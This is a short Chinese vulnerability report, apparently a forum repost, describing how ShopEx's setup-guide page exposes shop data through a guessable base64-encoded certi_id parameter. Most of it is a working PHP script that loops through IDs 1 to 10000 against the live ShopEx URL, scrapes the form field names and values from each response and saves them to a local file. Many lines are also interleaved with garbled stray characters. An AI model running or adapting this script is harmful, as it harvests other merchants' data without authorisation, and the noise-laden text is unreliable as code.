ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
8 i3 w/ k- x, |详细说明：
问题出现在shopex 网店使用向导页面
% u0 G6 x' e" v


- B  V/ \. \# N7 }" Yhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

6 L- D/ a. M2 X) n8 [
  \! Q) Z! f- y' w  |. K3 h
3 f! \& c: [3 W' [, F' i/ q6 brefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
- ]$ Q1 Z4 Y5 q- e
7 H5 A4 e1 D/ U9 x

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

2 W: i) g9 P+ d! o2 c- P
. J2 P0 ~- I' A0 ]" h& j
<?php
( F  F% ~0 L' H" g9 u6 f* q
                for ($i=1; $i < 10000; $i++) { //遍历

# L$ K$ d, Z5 E0 M9 u, Q                        ShowshopExD($i);

                }

( r, t, Z& q9 P1 s7 T                function ShowshopExD($cid) {

1 {, ~5 d% ?" J                $url='http://guide.ecos.shopex.cn/step2.php';

# K: Q* F) b  L                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 q  j: e3 G! k$ u; ?: x
" ?( @) v) ?/ ]$ p: k+ i        $url = $url.'?refer='.$refer;
1 ^  v0 J* E9 O$ z- l6 i/ a- o
1 ~1 l! }8 R  x/ m% D$ _/ ]        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
  y& H; {0 u4 {4 m! k( \$ A& Q( }$ d
5 r5 ~% t) a4 p6 k+ @0 U$ m1 J        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
& H) T1 v$ n0 Z; k# E) I$ L
8 Q1 I: Q4 F4 ^# F3 W& ^+ W        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
( M$ ]8 m" _' W0 P
        if(strpos($result,$refer))

        {
+ t! a# j8 ~. d9 Z& F. R7 {0 j
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( I) B& C7 M, e% o4 N
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
- n" t& e. k3 Q" `& y0 d; P
                foreach ($value[1] as $key) {

+ w' |( `& z! i, Y" r/ R                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
9 P7 L8 J2 n& P8 Z" b
& q2 S6 H; n8 j3 u4 s                        echo $res[1][0].':'.$res[3][0]."\r\n";

0 N  j  D" e, o7 ?; s2 G1 b6 B: n                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' @9 C: s  i' t
                        fwrite($fp, $col, strlen($col));

7 N; X/ w3 D. _: ?8 Y                }
( `% ^! g3 c* I6 {4 K5 t; g
                echo '--------------------------------'."\r\n";
' i5 f* V4 A" z7 Q
                fclose($fp);
1 x9 B, B8 E+ q' |  z: [
        }

+ v( F3 G$ ]0 Y# e/ Y# r        flush();
* w" p' F" h6 A, p# {% l
        curl_close($ch);
' [: A# v+ @5 C" S* P$ c. d
8 p; v& L3 \: _4 c+ {' D                }
% v  L& Z; M! m* \  ]
% r; r  b: `% |* {?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式